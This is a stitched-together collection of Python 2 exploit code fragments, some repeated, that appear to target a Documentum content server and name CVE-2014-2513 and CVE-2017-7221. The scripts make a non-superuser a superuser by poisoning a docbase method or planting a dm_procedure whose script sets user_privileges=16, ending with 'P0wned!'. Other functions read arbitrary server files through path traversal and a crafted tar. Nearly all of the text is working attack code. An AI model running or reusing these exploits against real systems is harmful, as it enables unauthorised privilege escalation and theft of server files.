def server_dir(session, path, dirs=True, files=True, links=True): obj = TypedObject(session=session) obj.set_string("DIRECTORY", path) obj.set_bool("LIST_DIR", dirs) obj.set_bool("LIST_FILE", files) obj.set_bool("LIST_LINK", links) return obj
def put_file(session, storage_id, file, format): obj = TypedObject(session=session) obj.set_id("STORAGE", storage_id) obj.set_string("FILE", file) obj.set_id("FORMAT", format) obj.set_bool("MAC_CLIENT", False) return obj
def execute(session, query, for_update, batch_hint, bof_dql=False): obj = TypedObject(session=session) obj.set_string("QUERY", query) obj.set_bool("FOR_UPDATE", for_update) obj.set_int("BATCH_HINT", batch_hint) obj.set_bool("BOF_DQL", bof_dql) return obj
def convert_id(session, fmt, page=0, page_modifier='', convert=False, useconvert=False): obj = TypedObject(session=session) obj.set_int("page", page) obj.set_string("format", fmt) obj.set_string("page_modifier", page_modifier) obj.set_bool("convert", convert) obj.set_bool("useconvert", useconvert) return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") print "Querying \"inaccessible\" dmr_content objects..." for e in session.query( "SELECT * FROM dmr_content " "WHERE ANY parent_id IS NOT NULLID " "AND ANY parent_id NOT IN " "(SELECT r_object_id FROM dm_sysobject)" ): handle = 0 try: content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", e["storage_id"]) obj.set_id("format", e["format"]) obj.set_int("data_ticket", e["data_ticket"]) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): print "Failed" exit(1) handle = session.make_puller( NULL_ID, obj["storage_id"], content_id, obj["format"], obj["data_ticket"] ) if handle == 0: raise RuntimeError("Unable make puller") size = 0 for chunk in session.download(handle): size += len(chunk) print "Downloaded %d/%d bytes of object %s" % \ (size, e['full_content_size'], e['r_object_id']) finally: if handle > 0: try: session.kill_puller(handle) except: pass
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") print "Querying \"inaccessible\" dmr_content objects..." for e in session.query( "SELECT * FROM dmr_content " "WHERE ANY parent_id IS NOT NULLID " "AND ANY parent_id NOT IN " "(SELECT r_object_id FROM dm_sysobject)" ): handle = 0 try: content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", e["storage_id"]) obj.set_id("format", e["format"]) obj.set_int("data_ticket", e["data_ticket"]) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): print "Failed" exit(1) handle = session.make_puller( NULL_ID, obj["storage_id"], content_id, obj["format"], obj["data_ticket"] ) if handle == 0: raise RuntimeError("Unable make puller") size = 0 for chunk in session.download(handle): size += len(chunk) print "Downloaded %d/%d bytes of object %s" % \ (size, e['full_content_size'], e['r_object_id']) finally: if handle > 0: try: session.kill_puller(handle) except: pass
def get_file(session, content_id, file_name=None): content = session.get_object(content_id) obj = TypedObject(session=session) obj.set_id("STORAGE", content['storage_id']) obj.set_id("FORMAT", content['format']) obj.set_id("CONTENT", content['r_object_id']) obj.set_int("D_TICKET", content['data_ticket']) obj.set_bool("MAC_CLIENT", False) if file_name: obj.set_string("OBJNAME", file_name) return obj
def get_login(session, username=None, scope="global", servername=None, timeout=300, singleuse=False): obj = TypedObject(session=session) if username: obj.set_string("OPTIONAL_USER_NAME", username) if scope: obj.set_string("LOGIN_TICKET_SCOPE", scope) if servername: obj.set_string("SERVER_NAME", servername) if timeout > 0: obj.set_int("LOGIN_TICKET_TIMEOUT", timeout) obj.set_bool("SINGLE_USE", singleuse) return obj
def get_dist_content_map(session, fmt=None, page_number=0, page_modifier='', netloc_id='', request_time=int(time.mktime(time.gmtime())), expire_delta=360, lookup_resourcefork_info=False, include_surrogate_get=True): obj = TypedObject(session=session) if fmt: obj.set_string("format", fmt) obj.set_int("page_number", page_number) obj.set_string("page_modifier", page_modifier) obj.set_string("netloc_id", netloc_id) obj.set_string("request_time", str(request_time)) obj.set_string("expire_delta", str(expire_delta)) obj.set_bool("lookup_resourcefork_info", lookup_resourcefork_info) obj.set_bool("include_surrogate_get", include_surrogate_get) return obj
def make_puller(session, objectId, storeId, contentId, formatId, ticket, other=False, offline=False, compression=False, noAccessUpdate=False): obj = TypedObject(session=session) obj.set_id("SYSOBJ_ID", objectId) obj.set_id("STORE", storeId) obj.set_id("CONTENT", contentId) obj.set_id("FORMAT", formatId) obj.set_int("TICKET", ticket) obj.set_bool("IS_OTHER", other) obj.set_bool("IS_OFFLINE", offline) obj.set_bool("COMPRESSION", compression) if noAccessUpdate: obj.set_bool("NO_ACCESS_UPDATE", noAccessUpdate) return obj
def download(session, path, buf): print "Downloading %s" % path print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") store = session.get_by_qualification("dm_filestore") format = session.get_by_qualification("dm_format") remote_path = "common=/../../../../../../../../../..%s=Directory" % path result = session.put_file(store.object_id(), remote_path, format.object_id()) full_size = result['FULL_CONTENT_SIZE'] ticket = result['D_TICKET'] content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", store.object_id()) obj.set_id("format", format.object_id()) obj.set_int("data_ticket", ticket) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): raise RuntimeError("Unable to save content object") handle = session.make_puller( NULL_ID, store.object_id(), content_id, format.object_id(), ticket ) if handle == 0: raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) return buf
def authenticate_user(session, username, password, identity=None): obj = TypedObject(session=session) obj.set_bool("CONNECT_POOLING", False) obj.set_string("USER_PASSWORD", password) obj.set_bool("AUTHENTICATION_ONLY", False) obj.set_bool("CHECK_ONLY", False) obj.set_string("LOGON_NAME", username) if identity: if identity.trusted: obj.set_bool("TRUSTED_LOGIN_ALLOWED", True) obj.set_string("OS_LOGON_NAME", username) auth_data = identity.get_auth_data() if auth_data: obj.set_string("CLIENT_AUTH_DATA", auth_data) return obj
def start_push(session, handle, content_id, fmt, size, d_ticket=0, is_other=False, compression=False, can_use_new_callbacks=True, encoded_content_attrs='', i_partition=0): obj = TypedObject(session=session) obj.set_int("HANDLE", handle) obj.set_id("CONTENT_ID", content_id) obj.set_id("FORMAT", fmt) obj.set_int("D_TICKET", d_ticket) obj.set_int("SIZE", size & 0xFFFFFFFF) obj.set_int("SIZE_LOW", size & 0xFFFFFFFF) obj.set_int("SIZE_HIGH", size >> 32) obj.set_bool("IS_OTHER", is_other) obj.set_bool("COMPRESSION", compression) obj.set_bool("CAN_USE_NEW_CALLBACKS", can_use_new_callbacks) obj.set_string("ENCODED_CONTENT_ATTRS", encoded_content_attrs) obj.set_int("I_PARTITION", i_partition) return obj
def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj)
def set_push_object_status(session, object_id, value): obj = TypedObject(session=session) obj.set_id("_PUSHED_ID_", object_id) obj.set_bool("_PUSH_STATUS_", value) return obj
def set_options(session, option, value=True): obj = TypedObject(session=session) obj.set_string("OPTION", option) obj.set_bool("VALUE", value) return obj
def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj)
def allow_base_type_changes(session, allow=True): obj = TypedObject(session=session) obj.set_bool("ALLOW_CHANGE_FLAG", allow) return obj
obj = TypedObject(session=session) obj.set_int("HANDLE", handle) return obj @staticmethod def do_method(session, method, arguments=None, async=None, direct=None, save=None, timeout=None, as_server=None, trace=None): obj = TypedObject(session=session) obj.set_string("METHOD", method) if arguments is not None: obj.set_string("ARGUMENTS", arguments) if timeout is not None: obj.set_int("TIME_OUT", timeout) if direct is not None: obj.set_bool("LAUNCH_DIRECT", direct) if async is not None: obj.set_bool("LAUNCH_ASYNC", async) if save is not None: obj.set_bool("SAVE_RESULTS", save) if as_server is not None: obj.set_bool("RUN_AS_SERVER", as_server) if trace is not None: obj.set_bool("TRACE_LAUNCH", trace) return obj @staticmethod def encrypt_password(session, password): obj = TypedObject(session=session) obj.set_string("PASSWORD_TO_ENCRYPT", session.obfuscate(password)) return obj
def log_on(session, detail): obj = TypedObject(session=session) obj.set_bool("DETAIL", detail) return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) install_owner = session.serverconfig['r_install_owner'] document_id = session.next_id(0x08) content_id = session.next_id(0x06) store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" exit(1) data = "Public Function EntryCriteria(ByVal SessionId As String,_" \ "\nByVal ObjectId As String,_" \ "\nByVal UserName As String,_" \ "\nByVal TargetState As String,_" \ "\nByRef ErrorString As String) As Boolean" \ "\nDim QueryID As String" \ "\nDim Query As String" \ "\nQuery = \"query,c,update dm_user objects set " \ "user_privileges=16 where user_name=\'%s\'\"" \ "\nQueryID = dmAPIGet(Query)" \ "\nQueryID = dmAPIExec(\"commit,c\")" \ "\nEntryCriteria=True" \ "\nEnd Function" % (sys.argv[3]) b = bytearray() b.extend(data) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] procedure = False try: print "Trying to create dm_procedure" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_procedure") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2014-2513") document.set_string("r_object_type", "dm_procedure") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e)
def get_docbase_config(session): obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dm_docbase_config") obj.set_bool("FOR_REVERT", False) obj.set_int("CACHE_VSTAMP", 0) return obj
def download(session, path, buf): print "Downloading %s" % path store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") print "Creating malicious dmr_content object" session.apply(None, NULL_ID, "BEGIN_TRANS") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) (bytes, length) = create_tar("test", path) b = bytearray() b.extend(bytes.read()) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] content_id = session.next_id(0x06) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_int("page", 0) content.set_string("page_modifier", "dm_batch") content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) content.set_bool("BATCH_FLAG", True) content.set_bool("IS_ADDRENDITION", True) content.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, content): print "Failed to create content" end_tran(session, False) exit(1) content = session.get_by_qualification( "dmr_content WHERE any (parent_id='%s' " "AND page_modifier='%s')" % (object_id, "vuln")) handle = session.make_puller( NULL_ID, store.object_id(), content['r_object_id'], format.object_id(), data_ticket ) if handle == 0: end_tran(session, False) raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) end_tran(session, False) return buf
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any dm_method object with content..." method_object = session.get_by_qualification( "dm_method WHERE use_method_content=TRUE " "and method_verb like 'dmbasic -e%'") method_content = session.get_by_qualification( "dmr_content where any parent_id='%s'" % method_object['r_object_id']) print "Trying to poison docbase method %s" % method_object['object_name'] method_verb = method_object['method_verb'] print "Method verb: %s" % method_verb method_function = method_verb[len("dmbasic -e"):] print "Method function: %s" % method_function new_content = \ "Const glabel As String = \"Label\"\n" \ "Const ginfo As String = \"Info\"\n" \ "Const gerror As String = \"Error\"\n" \ "\n" \ "Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \ " If(mssgtype=glabel) Then\n" \ " Print \"<BR><B><FONT size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT></B>\"\n" \ " ElseIf(mssgtype=ginfo) Then\n" \ " Print \"<BR><FONT color=blue>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " ElseIf(mssgtype=gerror) Then\n" \ " Print \"<BR><FONT color=red size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " Else\n" \ " Print \"<BR>\" & mssg\n" \ " End If\n" \ "End Sub\n" \ "Private Sub SetupSuperUser(TargetUser As String)\n" \ " objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \ " If objectid$ <> \"\" then\n" \ " Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \ " Status = dmAPIExec(\"save,c,\" & objectid$)\n" \ " End If\n" \ "End Sub\n" \ "\n" \ "Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \ " Dim SessionID As String\n" \ "\n" \ " SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \ " If SessionID =\"\" Then\n" \ " Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " DmExit(-1)\n" \ " Else\n" \ " Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " End If\n" \ "\n" \ " Call SetupSuperUser(TargetUser)\n" \ "\n" \ "End Sub\n" % method_function print "Trying to inject new content:\n%s" % new_content session.apply(None, NULL_ID, "BEGIN_TRANS") if method_content is not None: print "Removing method's content" remove = TypedObject(session=session) remove.set_string("OBJECT_TYPE", "dmr_content") remove.set_int("i_vstamp", method_content['i_vstamp']) obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove) if obj != True: print "Failed to remove method's content, exiting" end_tran(session, False) exit(1) print "method's content has been successfully removed" store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) b = bytearray() b.extend(new_content) if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] print "Creating malicious dmr_content object" content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_id("parent_id", method_object['r_object_id']) content.set_int("page", 0) content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) if not session.save_cont_attrs(method_object['i_contents_id'], content): print "Failed to create content" end_tran(session, False) exit(1) print "Malicious dmr_content object has been successfully created" end_tran(session, True) print "Becoming superuser..." method = TypedObject(session=session) method.set_string("METHOD", method_object['object_name']) method.set_string("ARGUMENTS", "%s %s %s" % ( session.docbaseconfig['object_name'], session.serverconfig['r_install_owner'], sys.argv[3])) session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method) r = session.query( "SELECT user_privileges FROM dm_user " "WHERE user_name=USER") \ .next_record()[ 'user_privileges'] if r != 16: print "Failed" exit(1) print "P0wned!"
def download(session, path, buf): print "Downloading %s" % path store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") print "Creating malicious dmr_content object" session.apply(None, NULL_ID, "BEGIN_TRANS") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) (bytes, length) = create_tar("test", path) b = bytearray() b.extend(bytes.read()) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] content_id = session.next_id(0x06) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_int("page", 0) content.set_string("page_modifier", "dm_batch") content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) content.set_bool("BATCH_FLAG", True) content.set_bool("IS_ADDRENDITION", True) content.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, content): print "Failed to create content" end_tran(session, False) exit(1) content = session.get_by_qualification( "dmr_content WHERE any (parent_id='%s' " "AND page_modifier='%s')" % (object_id, "vuln")) handle = session.make_puller(NULL_ID, store.object_id(), content['r_object_id'], format.object_id(), data_ticket) if handle == 0: end_tran(session, False) raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) end_tran(session, False) return buf
document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e) if not procedure: print "Failed to create dm_procedure" print "Trying to create dm_sysobject" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_sysobject") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_string("owner_name", sys.argv[3]) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2017-7221") document.set_string("r_object_type", "dm_sysobject") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if not session.sys_obj_save(document_id, document): print "Failed to create dm_sysobject"
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any dm_method object with content..." method_object = session.get_by_qualification( "dm_method WHERE use_method_content=TRUE " "and method_verb like 'dmbasic -e%'") method_content = session.get_by_qualification( "dmr_content where any parent_id='%s'" % method_object['r_object_id']) print "Trying to poison docbase method %s" % method_object['object_name'] method_verb = method_object['method_verb'] print "Method verb: %s" % method_verb method_function = method_verb[len("dmbasic -e"):] print "Method function: %s" % method_function new_content = \ "Const glabel As String = \"Label\"\n" \ "Const ginfo As String = \"Info\"\n" \ "Const gerror As String = \"Error\"\n" \ "\n" \ "Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \ " If(mssgtype=glabel) Then\n" \ " Print \"<BR><B><FONT size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT></B>\"\n" \ " ElseIf(mssgtype=ginfo) Then\n" \ " Print \"<BR><FONT color=blue>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " ElseIf(mssgtype=gerror) Then\n" \ " Print \"<BR><FONT color=red size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " Else\n" \ " Print \"<BR>\" & mssg\n" \ " End If\n" \ "End Sub\n" \ "Private Sub SetupSuperUser(TargetUser As String)\n" \ " objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \ " If objectid$ <> \"\" then\n" \ " Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \ " Status = dmAPIExec(\"save,c,\" & objectid$)\n" \ " End If\n" \ "End Sub\n" \ "\n" \ "Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \ " Dim SessionID As String\n" \ "\n" \ " SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \ " If SessionID =\"\" Then\n" \ " Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " DmExit(-1)\n" \ " Else\n" \ " Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " End If\n" \ "\n" \ " Call SetupSuperUser(TargetUser)\n" \ "\n" \ "End Sub\n" % method_function print "Trying to inject new content:\n%s" % new_content session.apply(None, NULL_ID, "BEGIN_TRANS") if method_content is not None: print "Removing method's content" remove = TypedObject(session=session) remove.set_string("OBJECT_TYPE", "dmr_content") remove.set_int("i_vstamp", method_content['i_vstamp']) obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove) if obj != True: print "Failed to remove method's content, exiting" end_tran(session, False) exit(1) print "method's content has been successfully removed" store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) b = bytearray() b.extend(new_content) if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] print "Creating malicious dmr_content object" content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_id("parent_id", method_object['r_object_id']) content.set_int("page", 0) content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) if not session.save_cont_attrs(method_object['i_contents_id'], content): print "Failed to create content" end_tran(session, False) exit(1) print "Malicious dmr_content object has been successfully created" end_tran(session, True) print "Becoming superuser..." method = TypedObject(session=session) method.set_string("METHOD", method_object['object_name']) method.set_string( "ARGUMENTS", "%s %s %s" % (session.docbaseconfig['object_name'], session.serverconfig['r_install_owner'], sys.argv[3])) session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method) r = session.query( "SELECT user_privileges FROM dm_user " "WHERE user_name=USER") \ .next_record()[ 'user_privileges'] if r != 16: print "Failed" exit(1) print "P0wned!"
def get_object_info(session, object_id, fetch_immutability_status=False): obj = TypedObject(session=session) obj.set_id("OBJECT_ID", object_id) obj.set_bool("FETCH_IMMUTABILITY_STATUS", fetch_immutability_status) return obj
def allow_base_as_features(session, allow=True): obj = TypedObject(session=session) obj.set_bool("VALUE", allow) return obj
def set_locale(session, charset=get_charset_id()): obj = TypedObject(session=session) obj.set_int("LANGUAGE", get_locale_id()) obj.set_int("CHARACTER_SET", charset) obj.set_int("PLATFORM_ENUM", get_platform_id()) obj.set_string("PLATFORM_VERSION_IMAGE", "python") obj.set_int("UTC_OFFSET", get_offset_in_seconds()) obj.set_int("SDF_AN_custom_date_order", 0) obj.set_int("SDF_AN_custom_scan_fields", 0) obj.set_string("SDF_AN_date_separator", "/") obj.set_int("SDF_AN_date_order", 2) obj.set_bool("SDF_AN_day_leading_zero", True) obj.set_bool("SDF_AN_month_leading_zero", True) obj.set_bool("SDF_AN_century", True) obj.set_string("SDF_AN_time_separator", ":") obj.set_bool("SDF_AN_hours_24", True) obj.set_bool("SDF_AN_hour_leading_zero", True) obj.set_bool("SDF_AN_noon_is_zero", False) obj.set_string("SDF_AN_am", "AM") obj.set_string("SDF_AN_pm", "PM") obj.append_int("PLATFORM_EXTRA", [0, 0, 0, 0]) obj.set_string("APPLICATION_CODE", "") return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) install_owner = session.serverconfig['r_install_owner'] document_id = session.next_id(0x08) content_id = session.next_id(0x06) store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" exit(1) data = "Public Function EntryCriteria(ByVal SessionId As String,_" \ "\nByVal ObjectId As String,_" \ "\nByVal UserName As String,_" \ "\nByVal TargetState As String,_" \ "\nByRef ErrorString As String) As Boolean" \ "\nDim QueryID As String" \ "\nDim Query As String" \ "\nQuery = \"query,c,update dm_user objects set " \ "user_privileges=16 where user_name=\'%s\'\"" \ "\nQueryID = dmAPIGet(Query)" \ "\nQueryID = dmAPIExec(\"commit,c\")" \ "\nEntryCriteria=True" \ "\nEnd Function" % (sys.argv[3]) b = bytearray() b.extend(data) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] procedure = False try: print "Trying to create dm_procedure" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_procedure") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2014-2513") document.set_string("r_object_type", "dm_procedure") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e)
def make_pusher(session, store, compression=False): obj = TypedObject(session=session) obj.set_id("STORE", store) obj.set_bool("COMPRESSION", compression) return obj
document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e) if not procedure: print "Failed to create dm_procedure" print "Trying to create dm_sysobject" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_sysobject") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_string("owner_name", sys.argv[3]) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2017-7221") document.set_string("r_object_type", "dm_sysobject") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if not session.sys_obj_save(document_id, document): print "Failed to create dm_sysobject"